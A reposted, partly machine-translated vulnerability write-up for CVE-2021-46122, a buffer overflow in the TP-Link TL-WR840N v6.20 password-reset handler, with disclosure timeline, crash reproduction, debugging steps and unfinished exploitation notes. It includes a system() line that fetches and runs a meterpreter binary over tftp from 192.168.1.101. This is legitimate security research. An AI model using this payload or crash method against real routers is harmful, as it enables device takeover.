TP-Link TL-WR840N v6.20(EU) 密码重置漏洞

TP-Link TL-WR840N v6.20(EU) 密码重置漏洞 (CVE-2021-46122)

#TPLINK、#CVE、#crash、#rce

最后修改时间:2022.04.18。

故事

寒假期间我放了几天假,玩了一下路由器固件。我只打算用一两天的时间来处理这个问题,但这个问题太有趣了,我最终花了更多的时间在它上面。不幸的是,我没有时间完全完成漏洞利用,但大部分问题已经解决。

是否有可能利用该漏洞?我想是的。

一有心情和时间,我就完成并更新报告。

我将报告发送给 TP-Link 安全团队。报告被接受,固件已修复。

概括

TP-Link TL-WR840N (EU) v6.20 包含 httpd 进程中的缓冲区溢出漏洞。攻击者可以通过网络发送消息获得路由器的外壳。受影响的功能是密码重置功能。

**注意:**要利用该漏洞,密码是必需的。

  • 硬件: TP-Link TL-WR840N (EU) v6.20
  • 固件: 0.9.1 4.17 v0001.0 Build 201124 Rel.64328n
  • **需要身份验证:**是

该漏洞已在以下固件中修复:TL-WR840N(EU)_V6.2_220120。

我强烈建议将固件升级到最新版本“TL-WR840N(EU)_V6.2_220120”。它可以从供应商主页下载。

我要感谢 TP-Link 安全团队。

时间线

  • 2021.12.31 - TP-Link 安全团队通知了该漏洞。
  • 2021.12.31 - MITRE 通知了该漏洞。
  • 2022.01.04 - TP-Link 发送了响应。
  • 2022.01.04 - 报告更新。
  • 2022.01.04 - 报告更新。
  • 2022.01.10 - 新的 Beta 固件。
  • 2022.01.18 - 检查了 beta 固件 (k4m1ll0)。
  • 2022.01.20 - 进一步讨论。
  • 2022.02.15 - 新固件发布:TL-WR840N(EU)_V6.2_220120
  • 2022.04.15 - 公告发布。
  • 2022.04.15 - 请求 CVE ID。
  • 2022.04.18 - 分配了 CVE-2021-46122

技术细节

UART外壳

经过一些焊接后,UART接口可用。UART shell 以管理权限运行。UART shell 用于调试,没有必要利用该漏洞。

注意:UART 不需要密码。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fvfOojvg-1650354418720)(https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/02.png)] [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bddsnqXh-1650354418721)(https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/01.png)]

加密参数

路由器管理界面可通过 HTTP 访问。

此路由器使用 HTTP 消息,但某些参数是加密的。了解加密过程是测试路由器参数的关键。

以下屏幕截图包含带有加密参数的 HTTP 消息。重要的部分是**“sign”“data”**参数。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Auw54bwW-1650354418722)(https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/03.png)]

有 4 个重要的 JavaScript 文件。

  • CryptoJS.min.js - 标准密码库
  • encrypt.js - 供应商特定(?),它包含 RSA 实现
  • tpEncrypt.js - 供应商特定,它包含加密逻辑
  • lib.js - “主要”

下面的简化图可视化了加密过程:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qlUfhr9N-1650354418722)(https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/05.png)]

注意:“登录请求”与其他请求略有不同

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-66RKuEhR-1650354418723)(https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/06.png)]

POST /CGI?8 请求和响应示例:

笔记:

  • 无身份验证
  • 参数未加密
  • 它不会改变(会话相关)

7

“Lib.js” – AESEncrypt Firefox – JavaScript 调试器(漂亮的打印源)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IucsKLxt-1650354418724)(https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/08.png)]

这是一个重要的地方,因为“s.data”参数中包含明文(请求)参数,加密前可以修改。

Firefox 和 JavaScript 调试控制台的实际参数示例:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OZiPyy1T-1650354418724)(https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/09.png)]

HTTP响应也是加密的,相关断点如下(lib.js):

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dd6UA32J-1650354418725)(https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/10.png)]

注意:“INCLUDE_LOGIN_GDPR_ENCRYPT”参数操作不起作用。

重现漏洞(崩溃)

要重现崩溃只需要一个浏览器。步骤如下:

  1. 登录
  2. 打开 JavaScript 控制台并使用调试界面
  3. 准备一些断点(lib.js)
  4. 选择(系统工具->密码)
  5. 填写表格并点击“保存”
  6. 使用调试器(操纵)请求并继续执行。

以下屏幕截图包含“ps”命令输出。从漏洞的角度来看,“httpd”进程很重要,因为它稍后会崩溃。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kMXr2L9V-1650354418725)(https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/11.png)]

在此演示期间,使用了 Firefox 浏览器。使用内置的“Pretty print source”功能,显示“lib.js”JavaScript 文件。

在第 365 行和第 367 行设置了两个断点:

12

存储在“s.data”变量中的明文参数。执行将在此处停止,并且可以使用 JavaScript 控制台来操作参数。

登录后(本例中为 192.168.1.1)选择系统工具 -> 密码(重置表单)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-P8FWx0dh-1650354418726)(https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/13.png)]

打断点:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KG3oloIp-1650354418727)(https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/14.png)]

调试器:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HJ6E8ZoK-1650354418728)(https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/15.png)]

在 JavaScript 控制台中,参数是可见的。在这种情况下,旧密码是“admin2”:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jdWMLGWZ-1650354418728)(https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/16.png)]

“pwd”参数从“admin1”更改为1500“A”-s。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aicCExoI-1650354418729)(https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/17.png)]

继续执行,就会发生崩溃。HTTP 服务器不可访问:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dGUpQfHJ-1650354418730)(https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/18.png)]

“ps”命令输出中缺少“httpd”:

19

“netstat”命令输出:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kgGFqMwc-1650354418731)(https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/21.png)]

Httpd崩溃分析

准备环境:


# copy busybox
tftp -g -r busybox-mipsel -l /var/tmp/busybox-mipsel 192.168.1.101

# copy gdbserver
tftp -g -r gdbserver -l /var/tmp/gdbserver 192.168.1.101

## ps -> httpd process 321

## gdbserver
/var/tmp # ./gdbserver localhost:2000 --attach 321

## copy and paste debug script

cd /var/tmp;
tftp -g -r gdbserver -l /var/tmp/gdbserver 192.168.1.101;
chmod +x /var/tmp/gdbserver;
./gdbserver localhost:2000 --attach 321 &

调试脚本(客户端):

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cossW7yS-1650354418731)(https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/22.png)]```

gdb attach

gdb-multiarch -x debugscript


重现崩溃并使用 gdb 检查堆栈跟踪:

![23](https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/23.png)

用 ghidra 恢复了相关功能。

1.  dm\_fillObjByStr (libcmm.so)
2.  dm\_checkString (libcmm.so)
3.  dm\_checkParamNodeString (libcmm.so)
4.  rdp\_setObj (httpd)
5.  http\_rpm\_auth\_main (httpd)

### “dm\_fillObjByStr”

用红色标记的相关局部变量:

![24](https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/24.png)

溢出发生在以下“strncpy”调用中:

![25](https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/25.png)

上面可见的崩溃只是一个副作用,因为“dm\_setParamNodeString”函数的参数不正确。

如果参数不正确,httpd 进程可能会在多个地方崩溃:

*   在“dm\_checkString”函数内
*   在“dm\_setParamNodeString”函数内
*   在“dm\_fillObjByStr -> cdbg\_printf”内(用粉红色标记)

检查二进制文件
-------

崩溃本身是一个漏洞,但可能可以获得反向shell。

### 二进制保护

![26](https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/26.png) ![27](https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/27.png)

**可以从堆栈中执行指令。**

B计划是一个ROP链。

### 启用 ASLR:

![28](https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/28.png)

如何利用它???
--------

这并不容易,但(至少在理论上)这是可能的。以下部分包含最重要的问题和解决方案。

问题
--

MIPS“缓存问题”
----------

MIPS 和缓存可能会破坏有效负载,避免缓存问题的众所周知的技术是“睡眠”函数调用。

它在设备上使用一个小的测试二进制文件进行了测试,并且可以正常工作。

“代码执行”部分
--------

可以使用 msfvenom 工具生成正确的二进制文件。tftp 命令可用于执行复制二进制文件。二进制文件可以通过以下方式执行:

copy and execute k44 binary (meterpreter, multi handler, mipsle)

system(“tftp -g -r k44 -l k44 /var/tmp/shell 192.168.1.101; chmod +x k44;/var/tmp/k44”)


它在设备上进行了测试,并且可以正常工作。:)

JavaScript 加密和原始字节发送问题。
-----------------------

从浏览器很难发送复杂的有效载荷。问题是Unicode转换,例如:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DCGdZCsu-1650354418731)(https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/29.png)]

注意:浏览器输入适用于“简单”字符。

快速回顾一下加密:

![30](https://img-blog.csdnimg.cn/img_convert/fc17a060a8b11fb0181fac9c13fe5186.png)

一个例子:

![31](https://img-blog.csdnimg.cn/img_convert/9ccc46a76f6507cb80e11ffc131a828e.png)

手动生成符号存在问题。固件不接受手动生成的符号参数。

通过浏览器发送参数非常不方便,因此值得自动化。我做了一个快速而肮脏的解决方案:

1.  我在 python3 中实现了“数据加密”部分。
2.  参数来自带有手动警报的 JavaScript 控制台。
3.  我稍微修改了 encrypt.js (TP-Link),它与 ​​spidermonkey JS 引擎一起重用以生成符号值。

数据加密示例:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nIAGKUdt-1650354418732)(https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/32.png)]

标志示例:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Qj2vf8Jo-1650354418732)(https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/33.png)]

### encrypt.js 修改:

新的随机函数:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-P0lpi1ei-1650354418733)(https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/34.png)]

“getRandomValues”并删除不必要的部分:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LsUeo4gM-1650354418733)(https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/35.png)]

处理参数:

![36](https://img-blog.csdnimg.cn/img_convert/34e11baf1928ec7f9afa27e32a62370d.png)

### 示例用法:

登录后收集带有警报的变量:

![37](https://img-blog.csdnimg.cn/img_convert/4f1433bcc41759ba68c853d5b70b74a7.png)

将参数与 poc 脚本一起使用:

![38](https://img-blog.csdnimg.cn/img_convert/3c2949b0e1f5d432b051d373cbd51a19.png)

使用加密的参数并使用 burp 发送请求。

发生崩溃,并且“BCDE”字节在调试器中的好位置:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-x8PiFhnP-1650354418735)(https://k4m1ll0.com/cve-TLWR840Nv620_password_reset/39.png)]

笔记:

1.  工具链只是一个快速而肮脏的解决方案。它可以工作,但需要进一步的自动化。
2.  The input is an UTF-8 string and not an "ascii" string. It is not trivial to use the "characters" because of the representation. e.g.: \\x90-> \\x90\\x00. This must be solved.

Open Topics
-----------

Unfortunately, I did not have time to move on, but I really want to finish.

There are only two problems left the "UTF-8 encoding problem and the " and the "dm\_setParamNodeString" side effect problem.

Notes about the "dm\_setParamNodeString" side effect problem:
-------------------------------------------------------------

*   The whole thing is extremely funny. It crashes in a debug line before the real "crash". It is not a protection mechanism, it is a bug. :).
*   With the debugger, I was able to manipulate the memory to solve partly the issue.
*   Note: The address contains 4 byte and \\x00 byte is not allowed.

Update is coming...

© 2019-2022 Kamilló Matek (<ᚫᛗIᛚᛚᛟ) 版权所有
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值